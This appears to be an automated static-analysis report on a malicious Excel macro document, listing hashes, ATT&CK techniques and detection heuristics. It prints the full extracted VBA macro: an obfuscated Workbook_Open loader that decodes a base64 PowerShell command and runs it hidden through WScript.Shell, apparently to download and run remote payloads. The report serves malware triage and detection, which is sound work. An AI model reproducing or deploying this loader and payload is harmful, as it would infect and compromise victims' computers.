Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ccf4417eb4a4169b…

MALICIOUS

Office (OOXML)

19.0 KB Created: 2021-06-30 15:07:14 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-10
MD5: 4b2e72eba056201f2b60e98c275e5795 SHA-1: d557a4090ad60c6f8b0d33f4fbc71e3fe84f9211 SHA-256: ccf4417eb4a4169bd585de926a676bb4c249c9cd189f681a2b1ce6845d386cc3
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a Workbook_Open macro that triggers obfuscated VBA code. This code utilizes WScript.Shell and CreateObject to execute commands, strongly indicating an attempt to download and run a second-stage payload. The obfuscation and use of auto-execution routines are common in macro-based malware delivery.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    epwongwahrccibneuaktcwxjrafqnbcargqqzer = 0
ccasieusrrowggcnggbepxsdppgti = "WSCript.shell"
Set gockclxepicq = CreateObject(ccasieusrrowggcnggbepxsdppgti)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    epwongwahrccibneuaktcwxjrafqnbcargqqzer = 0
ccasieusrrowggcnggbepxsdppgti = "WSCript.shell"
Set gockclxepicq = CreateObject(ccasieusrrowggcnggbepxsdppgti)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ccasieusrrowggcnggbepxsdppgti = "WSCript.shell"
Set gockclxepicq = CreateObject(ccasieusrrowggcnggbepxsdppgti)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8060 bytes
SHA-256: 1ee3c7d596217f42d7d75df574c2f421321e472a7156c8ade19e5d4997f4c72a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()

xxta.nh
dh = 76

End Sub

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "xxta"
Sub nh()
On Error Resume Next
ugs = dg___s(166) & dg___s(176) & dg___s(167) & dg___s(99) & dg___s(114) & dg___s(166) & dg___s(99) & dg___s(179) & dg___s(146) & dg___s(161) & dg___s(154) & dg___s(161) & dg___s(136) & dg___s(149) & dg___s(182) & dg___s(161) & dg___s(139) & dg___s(136) & dg___s(161) & dg___s(175) & dg___s(143) & dg___s(99) & dg___s(112) & dg___s(136) & dg___s(99)
plogxurtizh = iljtnomifmwfqxrqbmlilgddqfsimqt
ugs = ugs & "WwBTAFkAcwB0AGUATQAuAHQARQB4AHQALgBFAE4AYwBPAEQAaQBOAEcAXQA6ADoAdQBuAEkAYwBPAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBzAFkAcwB0AGUATQAuAEMATwBuAHYARQBSAHQAXQA6ADoAZgByAG8ATQBiAEEAUwBlADYANABTAFQAUgBJAG4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAGsAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEASQBBAEIAagBBAEcARQBBAGQAQQBCAGoAQQBHAGcAQQBlAHcAQgA5AEEAQQAwAEEAQwBnAEIAbQBBAEg"
'hcfmuisfitwxvsgxjgdqhxrwbigdivewptp
ugs = ugs & "AVQBBAGIAZwBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAagBBAEcAZwBBAGEAZwBCAG4AQQBHAG8AQQBkAEEAQgB5AEEARwBRAEEAYgB3AEIAbwBBAEcAbwBBAGMAdwBCADEAQQBIAG8AQQBkAGcAQgBvAEEARwBNAEEAWQBRAEIAaQBBAEgATQBBAGQAdwBCADAAQQBIAGsAQQBkAFEAQgBrAEEARwBZAEEAWQBRAEIAcgBBAEgAVQBBAGIAZwBCAHEAQQBHADgAQQBjAHcAQgAxAEEASABFAEEASQBBAEEAbwBBAEMAQQBBAEoAQQBCADUAQQBHAHMAQQBhAFEAQgBoAEEARwAwAEEAYgBRAEIAMwBBAEcARQBBAGUAQQBCAHEAQQBIAEUAQQBlAEEAQgAzAEEASABFAEEAZABBAEEAZwBBAEMAdwBBAEkAQQBBAGsAQQBHAGsAQQBhAHcAQgBoAEEARwBzAEEAZAB3AEIAcQBBAEcAbwBBAGMAQQBCAGsAQQBHAFUAQQBjAHcAQgBvAEEARwBrAEEAWQBnAEIANQBBAEgAWQBBAGUAZwBBAGcAQQBDAGsAQQBEAF"
plogxurtizh = iljtnomifmwfqxrqbmlilgddqfsimqt
ugs = ugs & "EAQQBLAEEASABzAEEASQBBAEIAcABBAEcAMABBAGMAQQBCAHYAQQBIAEkAQQBkAEEAQQB0AEEARwAwAEEAYgB3AEIARQBBAEgAVQBBAGIAQQBCAEYAQQBDAEEAQQBRAGcAQgBKAEEASABRAEEAYwB3AEIAVQBBAEgASQBBAFEAUQBCAHUAQQBIAE0AQQBSAGcAQgBGAEEARgBJAEEATwB3AEEATgBBAEEAbwBBAFUAdwBCAFUAQQBFAEUAQQBjAGcAQgBVAEEAQwAwAEEAUQBnAEIASgBBAEYAUQBBAFUAdwBCADAAQQBIAEkAQQBRAFEAQgB1AEEARgBNAEEAUgBnAEIAbABBAEgASQBBAEkAQQBBAHQAQQBIAE0AQQBiAHcAQgBWAEEARgBJAEEAUQB3AEIARgBBAEMAQQBBAEoAQQBCADUAQQBHAHMAQQBhAFEAQgBoAEEARwAwAEEAYgBRAEIAMwBBAEcARQBBAGUAQQBCAHEAQQBIAEUAQQBlAEEAQgAzAEEASABFAEEAZABBAEEAZwBBAEMAMABBAFoAQQBCAGwAQQBIAE0AQQBkAEEAQgBwAEEARQA0AEEAUQBRAEIAVQBBA"
'hcfmuisfitwxvsgxjgdqhxrwbigdivewptp
ugs = ugs & "EUAawBBAGIAdwBCAHUAQQBDAEEAQQBKAEEAQgBwAEEARwBzAEEAWQBRAEIAcgBBAEgAYwBBAGEAZwBCAHEAQQBIAEEAQQBaAEEAQgBsAEEASABNAEEAYQBBAEIAcABBAEcASQBBAGUAUQBCADIAQQBIAG8AQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEcAawBBAGEAdwBCAGgAQQBHAHMAQQBkAHcAQgBxAEEARwBvAEEAYwBBAEIAawBBAEcAVQBBAGMAdwBCAG8AQQBHAGsAQQBZAGcAQgA1AEEASABZAEEAZQBnAEEANwBBAEMAQQBBAGYAUQBCADAAQQBIAEkAQQBlAFEAQgA3AEEAQwBRAEEAYgB3AEIAcwBBAEcASQBBAGMAdwBCADEAQQBIAFUAQQBiAEEAQgAzAEEARwBJAEEAYQBnAEIAdABBAEcAdwBBAGEAQQBCAHkAQQBHAHcAQQBiAFEAQgBqAEEASABVAEEAYQBBAEIAaABBAEQAMABBAEoAQQBCAGwAQQBFADQAQQBWAGcAQQA2AEEARgBRAEEAWgBRAEIAdABBAEgAQQBBAEsAdwBBAG4AQQBGAHcAQQBh"
lsbtzggimqcn = "ufrltwgfdi"
ugs = ugs & "AFEAQgB6AEEASABZAEEAYgBBAEIAaABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAagBBAEcAZwBBAGEAZwBCAG4AQQBHAG8AQQBkAEEAQgB5AEEARwBRAEEAYgB3AEIAbwBBAEcAbwBBAGMAdwBCADEAQQBIAG8AQQBkAGcAQgBvAEEARwBNAEEAWQBRAEIAaQBBAEgATQBBAGQAdwBCADAAQQBIAGsAQQBkAFEAQgBrAEEARwBZAEEAWQBRAEIAcgBBAEgAVQBBAGIAZwBCAHEAQQBHADgAQQBjAHcAQgAxAEEASABFAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBjAHcAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAUQBBAGIAZwBBAHUAQQBHAFEAQQBhAFEAQgB6AEEARwBNAEEAYgB3AEIAeQBBAEcAUQBBAFkAUQBCAHcAQQBIAEEAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAdgBBAEcARQBBAGQAQQBCADAAQQBHAEUAQQBZAHcAQgBvAEEARwAwAEEAWgBRAEIAdQB"
lsbtzggimqcn = "ufrltwgfdi"
ugs = ugs & "BAEgAUQBBAGMAdwBBAHYAQQBEAGcAQQBOAFEAQQAyAEEARABrAEEATQBRAEEANQBBAEQAVQBBAE0AQQBBADEAQQBEAGcAQQBNAFEAQQAyAEEARABNAEEATwBBAEEAMwBBAEQAVQBBAE8AUQBBADIAQQBDADgAQQBPAEEAQQAxAEEARABrAEEATwBBAEEAeABBAEQASQBBAE0AUQBBADUAQQBEAEEAQQBNAFEAQQB3AEEARABrAEEATQBRAEEAMwBBAEQARQBBAE4AdwBBAHoAQQBEAE0AQQBMAHcAQQB5AEEARABBAEEATQBRAEEAMQBBAEMAMABBAE0AZwBBAHUAQQBHAG8AQQBjAHcAQQBuAEEAQwBBAEEASgBBAEIAdgBBAEcAdwBBAFkAZwBCAHoAQQBIAFUAQQBkAFEAQgBzAEEASABjAEEAWQBnAEIAcQBBAEcAMABBAGIAQQBCAG8AQQBIAEkAQQBiAEEAQgB0AEEARwBNAEEAZABRAEIAbwBBAEcARQBBAE8AdwBBAE4AQQBBAG8AQQBZAHcAQgBvAEEARwBvAEEAWgB3AEIAcQBBAEgAUQBBAGMAZwBCAGsAQQBHADgAQQ"
cssxvcezroyswcvhntpoynhdrximfiork = 55129
ugs = ugs & "BhAEEAQgBxAEEASABNAEEAZABRAEIANgBBAEgAWQBBAGEAQQBCAGoAQQBHAEUAQQBZAGcAQgB6AEEASABjAEEAZABBAEIANQBBAEgAVQBBAFoAQQBCAG0AQQBHAEUAQQBhAHcAQgAxAEEARwA0AEEAYQBnAEIAdgBBAEgATQBBAGQAUQBCAHgAQQBDAEEAQQBKAHcAQgBvAEEASABRAEEAZABBAEIAdwBBAEgATQBBAE8AZwBBAHYAQQBDADgAQQBZAHcAQgBrAEEARwA0AEEATABnAEIAawBBAEcAawBBAGMAdwBCAGoAQQBHADgAQQBjAGcAQgBrAEEARwBFAEEAYwBBAEIAdwBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBoAEEASABRAEEAZABBAEIAaABBAEcATQBBAGEAQQBCAHQAQQBHAFUAQQBiAGcAQgAwAEEASABNAEEATAB3AEEANABBAEQAVQBBAE4AZwBBADUAQQBEAEUAQQBPAFEAQQAxAEEARABBAEEATgBRAEEANABBAEQARQBBAE4AZwBBAHoAQQBEAGcAQQBOAHcAQQAxAEEARABrAEEATgBnAEEAd"
lsbtzggimqcn = "ufrltwgfdi"
ugs = ugs & "gBBAEQAZwBBAE4AUQBBADUAQQBEAGcAQQBNAFEAQQB5AEEARABFAEEATwBRAEEAdwBBAEQARQBBAE0AQQBBADUAQQBEAEUAQQBOAHcAQQB4AEEARABjAEEATQB3AEEAegBBAEMAOABBAE0AZwBBAHcAQQBEAEUAQQBOAFEAQQB0AEEARABJAEEATABnAEIAcQBBAEgATQBBAEoAdwBBAGcAQQBDAFEAQQBiAHcAQgBzAEEARwBJAEEAYwB3AEIAMQBBAEgAVQBBAGIAQQBCADMAQQBHAEkAQQBhAGcAQgB0AEEARwB3AEEAYQBBAEIAeQBBAEcAdwBBAGIAUQBCAGoAQQBIAFUAQQBhAEEAQgBoAEEARABzAEEARABRAEEASwBBAEcATQBBAGEAQQBCAHEAQQBHAGMAQQBhAGcAQgAwAEEASABJAEEAWgBBAEIAdgBBAEcAZwBBAGEAZwBCAHoAQQBIAFUAQQBlAGcAQgAyAEEARwBnAEEAWQB3AEIAaABBAEcASQBBAGMAdwBCADMAQQBIAFEAQQBlAFEAQgAxAEEARwBRAEEAWgBnAEIAaABBAEcAcwBBAGQAUQBCAHUAQQBHAG8A"
lsbtzggimqcn = "ufrltwgfdi"
ugs = ugs & "QQBiAHcAQgB6AEEASABVAEEAYwBRAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFoAQQBCAHUAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAWQB3AEIAdgBBAEgASQBBAFoAQQBCAGgAQQBIAEEAQQBjAEEAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAFkAUQBCADAAQQBIAFEAQQBZAFEAQgBqAEEARwBnAEEAYgBRAEIAbABBAEcANABBAGQAQQBCAHoAQQBDADgAQQBPAEEAQQAxAEEARABZAEEATwBRAEEAeABBAEQAawBBAE4AUQBBAHcAQQBEAFUAQQBPAEEAQQB4AEEARABZAEEATQB3AEEANABBAEQAYwBBAE4AUQBBADUAQQBEAFkAQQBMAHcAQQA0AEEARABVAEEATwBRAEEANABBAEQARQBBAE0AZwBBAHgAQQBEAGsAQQBNAEEAQQB4AEEARABBAEEATwBRAEEAeABBAEQAYwBBAE0AUQBBADMAQQBEAE0AQQBNAHcAQQB2AEEARABJAEEATQBBAEE"
'hcfmuisfitwxvsgxjgdqhxrwbigdivewptp
ugs = ugs & "AeABBAEQAVQBBAEwAUQBBAHkAQQBDADQAQQBhAGcAQgB6AEEAQwBjAEEASQBBAEEAawBBAEcAOABBAGIAQQBCAGkAQQBIAE0AQQBkAFEAQgAxAEEARwB3AEEAZAB3AEIAaQBBAEcAbwBBAGIAUQBCAHMAQQBHAGcAQQBjAGcAQgBzAEEARwAwAEEAWQB3AEIAMQBBAEcAZwBBAFkAUQBBADcAQQBBADAAQQBDAGcAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCADcAQQBIADAAQQAiACkAKQB8AGkARQBYAA=="
cssxvcezroyswcvhntpoynhdrximfiork = 55129


gbtekggcjuspnkzgalslcyrojafkxdsxbk = ugs
blirmnbmsmjqtrznj (gbtekggcjuspnkzgalslcyrojafkxdsxbk)
End Sub
Sub IF_Not()
    MsgBox Not (True)
End Sub
Function blirmnbmsmjqtrznj(jjuklyqexnpozp As String)
epwongwahrccibneuaktcwxjrafqnbcargqqzer = 0
ccasieusrrowggcnggbepxsdppgti = "WSCript.shell"
Set gockclxepicq = CreateObject(ccasieusrrowggcnggbepxsdppgti)

euksltxvolqruwgrrxtuutsrxrhbue = gockclxepicq.Run(jjuklyqexnpozp, epwongwahrccibneuaktcwxjrafqnbcargqqzer)
End Function
Function dg___s(c___f)
bgfh = "dsffd  ghd gfbfgh hjgnghfg"
dg___s = ChrW(c___f - 67)
bfth = "nghffdh bgffghbnbv hfdh hgg69fh"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 26112 bytes
SHA-256: d111d27847c0f439a5b410a266b1a53ea381cd677385841fb409f072307958d7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.